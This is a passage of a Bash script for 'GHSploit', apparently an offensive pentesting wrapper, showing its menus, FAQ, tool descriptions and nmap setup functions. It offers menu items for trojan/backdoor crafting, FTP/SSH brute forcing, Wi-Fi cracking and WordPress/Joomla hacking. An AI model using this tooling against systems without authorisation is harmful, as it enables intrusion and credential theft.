  589. echo -e "██║░░██╗░███████║╚█████╗░██████╔╝██║░░░░░██║░░██║██║░░░██║░░░"
  590. sleep 0.01
  591. echo -e "██║░░╚██╗██╔══██║░╚═══██╗██╔═══╝░██║░░░░░██║░░██║██║░░░██║░░░"
  592. sleep 0.01
  593. echo -e "╚██████╔╝██║░░██║██████╔╝██║░░░░░███████╗╚█████╔╝██║░░░██║░░░"
  594. sleep 0.01
  595. echo -e "░╚═════╝░╚═╝░░╚═╝╚═════╝░╚═╝░░░░░╚══════╝░╚════╝░╚═╝░░░╚═╝░░░${end}"
  596. sleep 0.01
  597. echo -e "${greenf}=====================${end}${cyan}C0d3d_by_Gr3y_H4T${end}${greenf}=======================${end}"
  598. }
  599. #Main menu
  600. main_menu() {
  601. clear
  602. banner
  603. sleep 0.01
  604. echo -e "$internet[$root${end}][${white}OS : ${end}${BlueF}$os${end}][${white}ARCH : ${end}${yellow}$arch${end}]"
  605. sleep 0.01
  606. echo -e "${greenf}=============================================================${end}"
  607. echo -e "${white}--------------------| What will you do? |--------------------${end}"
  608. echo -e "[1] Go to tools"
  609. sleep 0.01
  610. echo -e "[2] Read documentation and some FAQ"
  611. sleep 0.01
  612. echo -e "[3] Re-check internet"
  613. sleep 0.01
  614. echo -e "[4] System information[BETA]"
  615. sleep 0.01
  616. echo -e "[5] Feedback"
  617. sleep 0.01
  618. echo -e "[6] Exit${red}"
  619. # echo ""
  620. read -p $'\e[1;31m>>>\e[0m ' main_choose
  621. case $main_choose in
  622. 1)
  623. tools
  624. ;;
  625. 2)
  626. documentation
  627. ;;
  628. 3)
  629. conrecheck
  630. main_menu
  631. ;;
  632. 4)
  633. sysinfo
  634. ;;
  635. 5)
  636. feedback
  637. ;;
  638. 6)
  639. exit 0
  640. ;;
  641. *)
  642. echo "Error input, repeating..."
  643. sleep 1
  644. main_menu
  645. ;;
  646. esac
  647. }
  648. feedback() {
  649. clear
  650. banner
  651. echo "If you have any issues/suggestions or any other questions, feel free to contact us anytime"
  652. sleep 0.01
  653. echo "Mail : greyhatfeedback@protonmail.com"
  654. sleep 0.01
  655. echo "Press 'Enter' to return to the main menu..."
  656. read mmm
  657. main_menu
  658. }
  659. #FAQ and documentation
  660. documentation() {
  661. clear
  662. banner
  663. sleep 0.01
  664. echo "------------------------Documentation------------------------"
  665. sleep 0.01
  666. echo "[1] What is nmap(1st option)?"
  667. sleep 0.01
  668. echo "[2] What is SQL-injection (sqlmap, 2nd option)"
  669. sleep 0.01
  670. echo "[3] How is payload crafting works?"
  671. sleep 0.01
  672. echo "[4] What is WHOIS Tool?"
  673. sleep 0.01
  674. echo "[5] What is hydra and login form bruteforcing?"
  675. sleep 0.01
  676. echo "[6] What is hashcat and..handshake cracking?"
  677. sleep 0.01
  678. echo "[7] What is Wordpress and wpscan(7th option)?"
  679. sleep 0.01
  680. echo "[8] What is Joomla and joomscan(8th option)?"
  681. sleep 0.01
  682. echo "[9] What is directory enumerating?"
  683. sleep 0.01
  684. echo "What difference between quick and advanced directory enum?"
  685. sleep 0.01
  686. echo "[10] What is Wi-Fi handshake capturing?"
  687. sleep 0.01
  688. echo "--------------------End of documentation---------------------"
  689. sleep 0.01
  690. echo "[11] Go to FAQ"
  691. sleep 0.01
  692. echo -e "[00] Back to menu${red}"
  693. read -p $'\e[1;31m>>>\e[0m ' doc_input
  694. case $doc_input in
  695. 1)
  696. echo "nmap(the network mapper) - is a powerfull, free and open-source tool to perform ports scanning"
  697. sleep 0.01
  698. echo "With nmap you can scan hosts for open ports and vulnerabilities"
  699. sleep 0.01
  700. echo "For more information, please, visit nmap.org"
  701. repeat_doc_input
  702. ;;
  703. 2)
  704. echo "SQL Injection(SQLi) - is the one of the most dangerous type of webapp vulnerabilities"
  705. sleep 0.01
  706. echo "SQLi is based on malicious SQL-querry to the victim database"
  707. sleep 0.01
  708. echo "Database is retrieving and execute that kind of query"
  709. sleep 0.01
  710. echo "So it causes an any kind of SQL-attacks"
  711. sleep 0.01
  712. echo "For example : Dumping database, broke the webapp logic, view hidden data etc"
  713. sleep 0.01
  714. echo "sqlmap - is a free and open-source tool to perform sql-based databases pentesting"
  715. sleep 0.01
  716. echo "With sqlmap you can find and exploit sql vulnerabilities"
  717. sleep 0.01
  718. echo "For more information, please, visit sqlmap.org"
  719. repeat_doc_input
  720. ;;
  721. 3)
  722. echo "To craft the payloads, GHSploit using the Metasploit Framework(msf)"
  723. sleep 0.01
  724. echo "msf - is the most popular tool to perform pentesting of ALL THINGS"
  725. sleep 0.01
  726. echo "You can scan and exploit literally anything with msf"
  727. sleep 0.01
  728. echo "For more information, please, visit metasploit.com"
  729. repeat_doc_input
  730. ;;
  731. 4)
  732. echo "WHOIS - is the little tool for gathering information about domain"
  733. sleep 0.01
  734. echo "Whois displays information about domain name, IP, domain owner etc"
  735. sleep 0.01
  736. echo "Original site : who.is"
  737. repeat_doc_input
  738. ;;
  739. 5)
  740. echo "Bruteforcing - is the type of cyberattack, when the attacker using special dictionaries"
  741. sleep 0.01
  742. echo "That consists of usernames/passwords"
  743. sleep 0.01
  744. echo "It works by the next scheme : program takes, for example, login:admin and interchangeably takes the passwords from the wordlist"
  745. sleep 0.01
  746. echo "And performs authorization"
  747. sleep 0.01
  748. echo "If the password has found from wordlist - program will stop and show password"
  749. sleep 0.01
  750. echo "Hydra - is the powerfull tool to perform online-services auth bruteforcing"
  751. sleep 0.01
  752. echo "Hydra can bruteforce all of the most popular web auth forms, for example, ssh, ftp, http-get, http-post etc"
  753. sleep 0.01
  754. echo "GHSploit uses Hydra to bruteforce FTP and SSH servers(yet)"
  755. sleep 0.01
  756. echo "Bruteforcing other services requires more user interaction with the terminal, which is rather problematic to automate"
  757. sleep 0.01
  758. echo "More information at : github.com/vanhauser-thc/thc-hydra"
  759. repeat_doc_input
  760. ;;
  761. 6)
  762. echo "Hashcat - is the really most powerfull open-source tool for cracking hashes(today)"
  763. sleep 0.01
  764. echo "Handshakes - is the 'hash', that have a key of Wi-Fi Network"
  765. sleep 0.01
  766. echo "Hashcat can bruteforce hashes by converting the words into hashes and comparing them to the access point hash"
  767. sleep 0.01
  768. echo "If the hashes match, the program stops and displays the word whose hash matched the network hash"
  769. sleep 0.01
  770. echo "More info at hashcat.net/hashcat/"
  771. repeat_doc_input
  772. ;;
  773. 7)
  774. echo "Wordpress is the popular CMS(Content Management System)"
  775. sleep 0.01
  776. echo "wpscan - is the penetration testing tool for Wordpress sites"
  777. sleep 0.01
  778. echo "wpscan performs WP plugins analizing, admin-panel finding and common exploits testing"
  779. sleep 0.01
  780. echo "For more information, please, visit wpscan.com"
  781. repeat_doc_input
  782. ;;
  783. 8)
  784. echo "Joomla - is the less popular CMS"
  785. sleep 0.01
  786. echo "joomscan doing the same things as wpscan, but for joomla-based sites"
  787. sleep 0.01
  788. echo "For more information, please, visit github.com/OWASP/joomscan"
  789. ;;
  790. 9)
  791. echo "Directory Enumeration - is the process, when attacker searching for files and directories of victim site by using special tools"
  792. sleep 0.01
  793. echo "For example, attacker can search for admin-panel, whitelist files, databases etc"
  794. sleep 0.01
  795. echo "If the site does not have a request filter for unauthorized users or important files (such as configuration files) are not hidden, an attacker can easily gain access to them"
  796. sleep 0.01
  797. echo "Quick directory enumerating performed by dirb tool, which just quickly enums directories by default wordlist"
  798. sleep 0.01
  799. echo "Gobuster, beyond a simple directory enum, can search for specified files, pages, you can set number of threads for more performance and so more!"
  800. repeat_doc_input
  801. ;;
  802. 10)
  803. echo "When the user connecting to Wi-Fi point, user device and Wi-Fi router exchanging special handshakes, which contain encrypted password from the network."
  804. sleep 0.01
  805. echo "Capturing Wi-Fi Handshakes - the process, when the attacker 'capture' the authorization packet, which have the password from the Wi-Fi point"
  806. sleep 0.01
  807. echo "After handshake was captured, it can be cracked by Hashcat"
  808. repeat_doc_input
  809. ;;
  810. 11)
  811. faq
  812. ;;
  813. 00)
  814. main_menu
  815. ;;
  816. esac
  817. }
  818. repeat_doc_input() {
  819. echo -e "Still you have any questions?(y/n): ${red}"
  820. read -p $'\e[1;31m>>>\e[0m ' repeat_doc_ans
  821. case $repeat_doc_ans in
  822. y)
  823. documentation
  824. ;;
  825. n)
  826. main_menu
  827. ;;
  828. *)
  829. echo "Error input, repeating..."
  830. sleep 1
  831. repeat_doc_input
  832. ;;
  833. esac
  834. }
  835. repeat_faq_input() {
  836. echo -e "Still you have any questions?(y/n): ${red}"
  837. read -p $'\e[1;31m>>>\e[0m ' repeat_faq_ans
  838. case $repeat_faq_ans in
  839. y)
  840. faq
  841. ;;
  842. n)
  843. main_menu
  844. ;;
  845. *)
  846. echo "Error input, repeating..."
  847. sleep 1
  848. repeat_faq_input
  849. ;;
  850. esac
  851. }
  852. faq() {
  853. clear
  854. banner
  855. sleep 0.01
  856. echo "-----------------Frequently Asked Questions-----------------"
  857. sleep 0.01
  858. echo "[1] What is GHSploit?"
  859. sleep 0.01
  860. echo "[2] How to use it?"
  861. sleep 0.01
  862. echo "[3] Can I call myself a hacker by using it? ;D"
  863. sleep 0.01
  864. echo "[4] Is it free?"
  865. sleep 0.01
  866. echo "[5] Can I trust it?"
  867. sleep 0.01
  868. echo "--------------End of Frequently Asked Questions--------------"
  869. sleep 0.01
  870. echo "[6] Back to documentation"
  871. sleep 0.01
  872. echo "[7] Back to menu"
  873. read -p $'\e[1;31m>>>\e[0m ' faq_input
  874. case $faq_input in
  875. 1)
  876. echo "GHSploit - is the massive multiexploitation and pentesting script"
  877. sleep 0.01
  878. echo "GHSploit contain the most popular tools to perform pentesting and exploitation"
  879. sleep 0.01
  880. echo "GHSploit was made to simplify penetration testing and post exploitation"
  881. repeat_faq_input
  882. ;;
  883. 2)
  884. echo "It is extremely simple to do things with GHSploit"
  885. sleep 0.01
  886. echo "Answer the questions that script asks and enjoy :)"
  887. repeat_faq_input
  888. ;;
  889. 3)
  890. echo "Hacking is the great art"
  891. sleep 0.01
  892. echo "GHSploit will not make you a hacker, but it can help you understand many of the fundamental things that will help you on your path to becoming a hacker"
  893. sleep 0.01
  894. echo "You can explore the source code of GHSploit, learn how that things works, how programs interacts with usable tools etc"
  895. sleep 0.01
  896. echo "But remember - with great power comes great responsibility. Be strength."
  897. repeat_faq_input
  898. ;;
  899. 4)
  900. echo "Yes. Tool is absolutely free and open-source."
  901. sleep 0.01
  902. echo "Distributed on GNU GPL, you can modify, share and do what you want with it"
  903. sleep 0.01
  904. echo "In the case of modification and distribution, the contact information of the developer must remain"
  905. repeat_faq_input
  906. ;;
  907. 5)
  908. echo "You can trust the script unquestioningly, because of the open source code, you can make sure that there are no tracking or malicious components."
  909. sleep 0.01
  910. echo "However, the script uses third-party applications, to trust or not trust them is your decision"
  911. repeat_faq_input
  912. ;;
  913. 6)
  914. documentation
  915. ;;
  916. 7)
  917. main_menu
  918. ;;
  919. esac
  920. }
  921. #Tools
  922. tools() {
  923. clear
  924. banner
  925. echo "===================( Select tool to use )===================="
  926. sleep 0.01
  927. if [ $nmapinstalled -eq 1 ];then
  928. echo "[1] Scan IP/Domains for open ports/vulners(TCP only)"
  929. elif [ $nmapinstalled -eq 0 ];then
  930. echo -e "${red}[1] Scan IP/Domains for open ports/vulners(TCP only)${end}"
  931. fi
  932. sleep 0.01
  933. if [ $sqlmapinstalled -eq 1 ];then
  934. echo "[2] SQL Injection scan"
  935. elif [ $sqlmapinstalled -eq 0 ];then
  936. echo -e "${red}[2] SQL Injection scan${end}"
  937. fi
  938. sleep 0.01
  939. if [ $msfinstalled -eq 1 ];then
  940. echo "[3] Trojan/backdoor crafting(android or windows,reverse_tcp)"
  941. elif [ $msfinstalled -eq 0 ];then
  942. echo -e "${red}[3] Trojan/backdoor crafting(android or windows,reverse_tcp)${end}"
  943. fi
  944. sleep 0.01
  945. if [ $whoisinstalled -eq 0 ];then
  946. echo -e "${red}[4] WHOIS Tool${end}"
  947. elif [ $whoisinstalled -eq 1 ];then
  948. echo "[4] WHOIS Tool"
  949. fi
  950. sleep 0.01
  951. if [ $hydrainstalled -eq 1 ];then
  952. echo "[5] Hack the FTP/SSH server"
  953. elif [ $hydrainstalled -eq 0 ];then
  954. echo -e "${red}[5] Hack the FTP/SSH server${end}"
  955. fi
  956. sleep 0.01
  957. if [ $hashcatinstalled -eq 1 ];then
  958. echo "[6] Crack the wi-fi password(handshake brute)"
  959. elif [ $hashcatinstalled -eq 0 ];then
  960. echo -e "${red}[6] Crack the wi-fi password(handshake brute)${end}"
  961. fi
  962. sleep 0.01
  963. if [ $wpscaninstalled -eq 1 ];then
  964. echo "[7] Hack the WordPress site"
  965. elif [ $wpscaninstalled -eq 0 ];then
  966. echo -e "${red}[7] Hack the WordPress site${end}"
  967. fi
  968. sleep 0.01
  969. if [ $joomscaninstalled -eq 1 ];then
  970. echo "[8] Hack the Joomla site"
  971. elif [ $joomscaninstalled -eq 0 ];then
  972. echo -e "${red}[8] Hack the Joomla site${end}"
  973. fi
  974. sleep 0.01
  975. if [ $niktoinstalled -eq 1 ];then
  976. echo "[9] Nikto vulnerability scanner"
  977. elif [ $niktoinstalled -eq 0 ];then
  978. echo -e "${red}[9] Nikto vulnerability scanner${end}"
  979. fi
  980. sleep 0.01
  981. if [ $dirbinstalled -eq 1 ];then
  982. echo "[10] Quick directory enumerating"
  983. elif [ $dirbinstalled -eq 0 ];then
  984. echo -e "${red}[10] Qick directory enumerating${end}"
  985. fi
  986. sleep 0.01
  987. if [ $gobusterinstalled -eq 1 ];then
  988. echo "[11] Advanced directory enumerating"
  989. elif [ $gobusterinstalled -eq 0 ];then
  990. echo -e "${red}[11] Advanced directory enumerating${end}"
  991. fi
  992. sleep 0.01
  993. echo "[12] Back to menu"
  994. sleep 0.01
  995. echo "[13] Exit"
  996. read -p $'\e[1;31m>>>\e[0m ' tool_choose
  997. case $tool_choose in
  998. 1)
  999. if [ $nmapinstalled = 0 ];then
  1000. sleep 0.01
  1001. echo "Nmap is not installed..."
  1002. sleep 0.01
  1003. echo "Please, install nmap and go back!"
  1004. sleep 0.01
  1005. secs=$((5))
  1006. while [ $secs -gt 0 ]; do
  1007. echo -ne "Returning to main menu in $secs\033[0K\r"
  1008. sleep 1
  1009. : $((secs--))
  1010. done
  1011. tools
  1012. else
  1013. if [ $connection == "no" ];then
  1014. echo "Looks like you are not connected to any network(even to lan)."
  1015. echo "Nmap is useless without connection"
  1016. echo "Please, check your connection and try again"
  1017. echo "Press ENTER to go back to menu!"
  1018. read ajspaojpqj
  1019. main_menu
  1020. else
  1021. if [ $EUID != 0 ];then
  1022. nmapnonroot
  1023. else
  1024. nmapf
  1025. fi
  1026. fi
  1027. fi
  1028. ;;
  1029. 2)
  1030. if [ $sqlmapinstalled = 0 ];then
  1031. sleep 0.01
  1032. echo "sqlmap is not installed..."
  1033. sleep 0.01
  1034. echo "Please, install sqlmap and go back!"
  1035. sleep 0.01
  1036. secs=$((5))
  1037. while [ $secs -gt 0 ]; do
  1038. echo -ne "Returning to main menu in $secs\033[0K\r"
  1039. sleep 1
  1040. : $((secs--))
  1041. done
  1042. tools
  1043. else
  1044. if [ $connection == "no" ];then
  1045. echo "Looks like you are not connected to any network(even to lan)."
  1046. echo "sqlmap is useless without connection"
  1047. echo "Please, check your connection and try again"
  1048. echo "Press ENTER to go back to menu!"
  1049. read ajspaojpqj
  1050. main_menu
  1051. else
  1052. sqlf
  1053. fi
  1054. fi
  1055. ;;
  1056. 3)
  1057. if [ $msfinstalled = 0 ];then
  1058. sleep 0.01
  1059. echo "It seems like your system haven't installed Metasploit"
  1060. sleep 0.01
  1061. echo "Please, install Metasploit and go back!"
  1062. sleep 0.01
  1063. secs=$((5))
  1064. while [ $secs -gt 0 ]; do
  1065. echo -ne "Returning to main menu in $secs\033[0K\r"
  1066. sleep 1
  1067. : $((secs--))
  1068. done
  1069. tools
  1070. else
  1071. if [ $connection == "no" ];then
  1072. echo "Looks like you are not connected to any network(even to lan)."
  1073. echo "You may use Metasploit to create backdoors if you have static IP-address and you know that address"
  1074. echo "Otherwise, you couldn't create normal backdoors."
  1075. echo "Are you sure you want to continue?(y/n)"
  1076. read -p $'\e[1;31m>>>\e[0m ' msfcont
  1077. case $msfcont in
  1078. y)
  1079. msff
  1080. ;;
  1081. n)
  1082. main_menu
  1083. ;;
  1084. *)
  1085. echo "Error input, returning back to menu!"
  1086. sleep 1
  1087. main_menu
  1088. ;;
  1089. esac
  1090. else
  1091. msff
  1092. fi
  1093. fi
  1094. ;;
  1095. 4)
  1096. if [ $whoisinstalled = 0 ];then
  1097. sleep 0.01
  1098. echo "It seems like your system haven't installed Whois..."
  1099. sleep 0.01
  1100. echo "Please, install whois and go back!"
  1101. sleep 0.01
  1102. secs=$((5))
  1103. while [ $secs -gt 0 ]; do
  1104. echo -ne "Returning to main menu in $secs\033[0K\r"
  1105. sleep 1
  1106. : $((secs--))
  1107. done
  1108. tools
  1109. else
  1110. if [ $connection == "lan" -o $connection == "no" ];then
  1111. echo "Looks like you haven't internet connection"
  1112. echo "Whois tool is useless without internet"
  1113. echo "Please, check your internet connection and try again"
  1114. echo "Press ENTER to return to main menu"
  1115. read asdasdsajdad
  1116. main_menu
  1117. else
  1118. whoisf
  1119. fi
  1120. fi
  1121. ;;
  1122. 5)
  1123. if [ $hydrainstalled = 0 ];then
  1124. sleep 0.01
  1125. echo "Hydra is not installed..."
  1126. sleep 0.01
  1127. echo "Please, install Hydra and go back!"
  1128. sleep 0.01
  1129. secs=$((5))
  1130. while [ $secs -gt 0 ]; do
  1131. echo -ne "Returning to main menu in $secs\033[0K\r"
  1132. sleep 1
  1133. : $((secs--))
  1134. done
  1135. tools
  1136. else
  1137. if [ $connection == "no" ];then
  1138. echo "Looks like you are not connected to any network(even to lan)."
  1139. echo "Hydra is useless without connection"
  1140. echo "Please, check your connection and try again"
  1141. echo "Press ENTER to go back to menu!"
  1142. read ajspaojpqj
  1143. main_menu
  1144. else
  1145. hydraf
  1146. fi
  1147. fi
  1148. ;;
  1149. 6)
  1150. if [ $hashcatinstalled = 0 ];then
  1151. sleep 0.01
  1152. echo "It seems like your system haven't installed Hashcat!"
  1153. sleep 0.01
  1154. echo "Please, install Hashcat and go back!"
  1155. sleep 0.01
  1156. secs=$((5))
  1157. while [ $secs -gt 0 ]; do
  1158. echo -ne "Returning to main menu in $secs\033[0K\r"
  1159. sleep 1
  1160. : $((secs--))
  1161. done
  1162. tools
  1163. else
  1164. hashcatf
  1165. fi
  1166. ;;
  1167. 7)
  1168. if [ $wpscaninstalled = 0 ];then
  1169. sleep 0.01
  1170. echo "wpscan is not installed..."
  1171. sleep 0.01
  1172. echo "Please, install wpscan and go back!"
  1173. sleep 0.01
  1174. secs=$((5))
  1175. while [ $secs -gt 0 ]; do
  1176. echo -ne "Returning to main menu in $secs\033[0K\r"
  1177. sleep 1
  1178. : $((secs--))
  1179. done
  1180. tools
  1181. else
  1182. if [ $connection == "no" ];then
  1183. echo "Looks like you are not connected to any network(even to lan)."
  1184. echo "wpscan is useless without connection"
  1185. echo "Please, check your connection and try again"
  1186. echo "Press ENTER to go back to menu!"
  1187. read ajspaojpqj
  1188. main_menu
  1189. else
  1190. wpscanf
  1191. fi
  1192. fi
  1193. ;;
  1194. 8)
  1195. if [ $joomscaninstalled = 0 ];then
  1196. sleep 0.01
  1197. echo "Joomscan is not installed..."
  1198. sleep 0.01
  1199. echo "Please, install Joomscan and go back!"
  1200. sleep 0.01
  1201. secs=$((5))
  1202. while [ $secs -gt 0 ]; do
  1203. echo -ne "Returning to main menu in $secs\033[0K\r"
  1204. sleep 1
  1205. : $((secs--))
  1206. done
  1207. tools
  1208. else
  1209. if [ $connection == "no" ];then
  1210. echo "Looks like you are not connected to any network(even to lan)."
  1211. echo "Joomscan is useless without connection"
  1212. echo "Please, check your connection and try again"
  1213. echo "Press ENTER to go back to menu!"
  1214. read ajspaojpqj
  1215. main_menu
  1216. else
  1217. joomscanf
  1218. fi
  1219. fi
  1220. ;;
  1221. 9)
  1222. if [ $niktoinstalled = 0 ];then
  1223. sleep 0.01
  1224. echo "Nikto scanner is not installed..."
  1225. sleep 0.01
  1226. echo "Please, install nikto and go back!"
  1227. sleep 0.01
  1228. secs=$((5))
  1229. while [ $secs -gt 0 ]; do
  1230. echo -ne "Returning to main menu in $secs\033[0K\r"
  1231. sleep 1
  1232. : $((secs--))
  1233. done
  1234. tools
  1235. else
  1236. if [ $connection == "no" ];then
  1237. echo "Looks like you are not connected to any network(even to lan)."
  1238. echo "Nikto is useless without connection"
  1239. echo "Please, check your connection and try again"
  1240. echo "Press ENTER to go back to menu!"
  1241. read ajspaojpqj
  1242. main_menu
  1243. else
  1244. niktof
  1245. fi
  1246. fi
  1247. ;;
  1248. 10)
  1249. if [ $dirbinstalled = 0 ];then
  1250. sleep 0.01
  1251. echo "dirb is not installed..."
  1252. sleep 0.01
  1253. echo "Please, install dirb and go back!"
  1254. sleep 0.01
  1255. secs=$((5))
  1256. while [ $secs -gt 0 ]; do
  1257. echo -ne "Returning to main menu in $secs\033[0K\r"
  1258. sleep 1
  1259. : $((secs--))
  1260. done
  1261. tools
  1262. else
  1263. if [ $connection == "no" ];then
  1264. echo "Looks like you are not connected to any network(even to lan)."
  1265. echo "dirb is useless without connection"
  1266. echo "Please, check your connection and try again"
  1267. echo "Press ENTER to go back to menu!"
  1268. read ajspaojpqj
  1269. main_menu
  1270. else
  1271. dirbf
  1272. fi
  1273. fi
  1274. ;;
  1275. 11)
  1276. if [ $gobusterinstalled = 0 ];then
  1277. sleep 0.01
  1278. echo "GoBuster is not installed..."
  1279. sleep 0.01
  1280. echo "Please, install GoBuster and go back!"
  1281. sleep 0.01
  1282. secs=$((5))
  1283. while [ $secs -gt 0 ]; do
  1284. echo -ne "Returning to main menu in $secs\033[0K\r"
  1285. sleep 1
  1286. : $((secs--))
  1287. done
  1288. tools
  1289. else
  1290. if [ $connection == "no" ];then
  1291. echo "Looks like you are not connected to any network(even to lan)."
  1292. echo "GoBuster is useless without connection"
  1293. echo "Please, check your connection and try again"
  1294. echo "Press ENTER to go back to menu!"
  1295. read ajspaojpqj
  1296. main_menu
  1297. else
  1298. gobusterf
  1299. fi
  1300. fi
  1301. ;;
  1302. 12)
  1303. main_menu
  1304. ;;
  1305. 13)
  1306. exit 0
  1307. ;;
  1308. *)
  1309. echo "Error input, repeating.."
  1310. sleep 1
  1311. tools
  1312. ;;
  1313. esac
  1314. }
  1315. #Function that asks 'Do you want to return to main menu' after any tool task(s) has been completed
  1316. wannabackf() {
  1317. clear
  1318. banner
  1319. echo "Done!"
  1320. echo "Do you want to return to main menu?(y/n)"
  1321. read -p $'\e[1;31m>>>\e[0m ' wannaback
  1322. case $wannaback in
  1323. y)
  1324. main_menu
  1325. ;;
  1326. n)
  1327. echo "Thank you for using GHSploit! Have a nice day!"
  1328. exit
  1329. ;;
  1330. *)
  1331. echo "Error input, repeating..."
  1332. sleep 1
  1333. clear
  1334. wannabackf
  1335. ;;
  1336. esac
  1337. }
  1338. #===================================================================
  1339. #NMAP functions
  1340. #===================================================================
  1341. nmapf() {
  1342. clear
  1343. banner
  1344. nmaptarget
  1345. nmapistargetup
  1346. nmaprange
  1347. nmapoptf
  1348. nmapverbosity
  1349. nmapoutputf
  1350. nmapcontrol
  1351. }
  1352. nmapnonroot() {
  1353. clear
  1354. banner
  1355. echo -e "${slimred}Running nmap in non-root mode, limited functionality${end}"
  1356. nmaptarget
  1357. nmapistargetup
  1358. nmaprange
  1359. nmapverbosity
  1360. nmapnonrootgo
  1361. }
  1362. nmapnonrootgo() {
  1363. xterm -hold -geometry 100x30 -T "Running non-root nmap scan on target $nmapinput" -e "nmap $nmapinput $nmaprangep $nmapverbp $forcescan"
  1364. wannabackf
  1365. }
  1366. nmaptarget() {
  1367. echo "Enter the target host adress (example: 192.168.0.1 or example.com): "
  1368. read -p $'\e[1;31m>>>\e[0m ' nmapinput
  1369. }
  1370. #checking is there some kind of firewalls or is target online?
  1371. nmapistargetup() {
  1372. clear
  1373. banner
  1374. echo "Now we need to perform PING scan"
  1375. sleep 0.01
  1376. echo "If ping does, that telling us that host is online"
  1377. sleep 0.01
  1378. echo "Would you like to ping the target?(y/n)"
  1379. read -p $'\e[1;31m>>>\e[0m ' canweping
  1380. case $canweping in
  1381. y)
  1382. clear
  1383. echo "Initializing ping function..."
  1384. sleep 0.01
  1385. echo "Wait a few seconds and close the new window"
  1386. sleep 0.01
  1387. echo "If target is reachable, you will see the digits of ping"
  1388. sleep 0.01
  1389. echo "If you see message like HOST UNREACHABLE, answer N after ping"
  1390. sleep 0.01
  1391. echo "Press 'Enter' to start..."
  1392. read ewq
  1393. xterm -geometry 100x30 -T "Pinging target host" -e "ping -v $nmapinput"
  1394. clear
  1395. echo "Is target reachable?(y/n): "
  1396. read -p $'\e[1;31m>>>\e[0m ' isreachable
  1397. if [ $isreachable = y ];then
  1398. forcescan=""
  1399. elif [ $isreachable = n ];then
  1400. forcescan="-Pn"
  1401. else
  1402. echo "Error input, marking all hosts as 'up' to perform scan anyway..."
  1403. fi
  1404. ;;
  1405. n)
  1406. echo "Error input.."
  1407. echo "Marking all hosts as 'up' to perform scan anyway..."
  1408. forcescan="-Pn"
  1409. ;;
  1410. *)
  1411. echo "Error input, repeating..."
  1412. sleep 1
  1413. nmapistargetup
  1414. ;;
  1415. esac
  1416. }
  1417. nmaprange() {
  1418. clear
  1419. banner
  1420. echo "Select the range of scanning ports?('t,a' or type custom port or range of ports, separated by comma): "
  1421. sleep 0.01
  1422. echo "t. 1000 default open ports"
  1423. sleep 0.01
  1424. echo "a. Scan for all of 65535 open ports"
  1425. read -p $'\e[1;31m>>>\e[0m ' nmaprange
  1426. case $nmaprange in
  1427. t)
  1428. nmaprangep=""
  1429. ;;
  1430. a)
  1431. nmaprangep="-p-"
  1432. ;;
  1433. *)
  1434. nmaprangep="-p$nmaprange"
  1435. ;;
  1436. esac
  1437. }
  1438. nmapoptf() {
  1439. clear
  1440. banner
  1441. echo "Select one of pre-built scanning options(press 'c' for custom settings): "
  1442. sleep 0.01
  1443. echo "1. Fast scan (no options)"
  1444. sleep 0.01
  1445. echo "2. Scan with service detection and their version + SYN Scan"
  1446. sleep 0.01
  1447. echo "3. Scan for vulnerabilities"
  1448. sleep 0.01
  1449. echo "4. 2+3"
  1450. sleep 0.01
  1451. echo "5. 4 + Agressive detection"
  1452. read -p $'\e[1;31m>>>\e[0m ' nmapopt
  1453. case $nmapopt in
  1454. 1)
  1455. nmapopts=""
  1456. ;;
  1457. 2)
  1458. nmapopts="-sS -sV -sC"
  1459. ;;
  1460. 3)
  1461. nmapopts="--script=vuln"
  1462. ;;
  1463. 4)
  1464. nmapopts="-sS -sV -sC --script=vuln"
  1465. ;;
  1466. 5)
  1467. nmapopts="-sS -sV -sC --script=vuln -A"
  1468. ;;
  1469. c)
  1470. echo "Enter your options (ex.: -sS -sV etc..)"
  1471. read -p $'\e[1;31m>>>\e[0m ' custopopts
  1472. nmapopts="$custopopts"
  1473. ;;
  1474. *)
  1475. echo "Error input, repeating.."
  1476. sleep 1
  1477. nmapoptf
  1478. ;;
  1479. esac
  1480. }
  1481. nmapverbosity() {
  1482. clear
  1483. banner
  1484. echo "Choose level of verbosity (0,1,2): "
  1485. sleep 0.01
  1486. echo "0. No verbosity"
  1487. sleep 0.01
  1488. echo "1. Normal verbosity"
  1489. sleep 0.01
  1490. echo "2. Be more verbose"
  1491. read -p $'\e[1;31m>>>\e[0m ' nmapverb
  1492. case $nmapverb in
  1493. 0)
  1494. nmapverbp=""
  1495. ;;
  1496. 1)
  1497. nmapverbp="-v"
  1498. ;;
  1499. 2)
  1500. nmapverbp="-vv"
  1501. ;;
  1502. *)
  1503. echo "Error input, setting verbosity to 0"
  1504. nmapverbp=""
  1505. ;;
  1506. esac
  1507. }
  1508. nmapoutputf() {
  1509. clear
  1510. banner
  1511. echo "Do you want to save the output?(y/n): "
  1512. read -p $'\e[1;31m>>>\e[0m ' nmapoutput
  1513. case $nmapoutput in
  1514. y)
  1515. dirnmap=GHSNmap_output
  1516. nmapoutputp="-oN"
  1517. echo "Enter the name of output file"
  1518. read -p $'\e[1;31m>>>\e[0m ' nmapoutputnamep
  1519. ;;
  1520. n)
  1521. nmapoutputp=""
  1522. ;;
  1523. *)
  1524. echo "Error input, repeating..."
  1525. sleep 1
  1526. nmapoutput
  1527. ;;
  1528. esac
  1529. }
  1530. nmap_input_fix() {
  1531. echo "Where is error?"
  1532. sleep 0.01
  1533. echo "1. Target"
  1534. sleep 0.01
  1535. echo "2. Range of ports"
  1536. sleep 0.01
  1537. echo "3. Scan options"
  1538. sleep 0.01
  1539. echo "4. Level of verbosity"
  1540. sleep 0.01
  1541. echo "5. Output parameters"
  1542. sleep 0.01
  1543. echo "6. My mistake, it's all right! Go ahead."
  1544. sleep 0.01
  1545. echo "7. I've changed my mind. Wanna quit. "
  1546. read -p $'\e[1;31m>>>\e[0m ' nif
  1547. case $nif in
  1548. 1)
  1549. nmaptarget
  1550. nmapcontrol
  1551. ;;
  1552. 2)
  1553. nmaprange
  1554. nmapcontrol
  1555. ;;
  1556. 3)
  1557. nmapoptf
  1558. nmapcontrol
  1559. ;;
  1560. 4)
  1561. nmapverbosity
  1562. nmapcontrol
  1563. ;;
  1564. 5)
  1565. nmapoutputf
  1566. nmapcontrol
  1567. ;;
  1568. 6)
  1569. nmapcontrol
  1570. ;;
  1571. 7)
  1572. exit
  1573. ;;
  1574. esac
  1575. }
  1576. #So dumb code I know :D Forgive me, next funcs looks pretty better ;)
  1577. nmapcontrol() {
  1578. clear
  1579. banner
  1580. echo "Check your input before start to exclude errors: "
  1581. sleep 0.01
  1582. echo "Target : $nmapinput "
  1583. sleep 0.01
  1584. if [ $nmaprange = t ];then
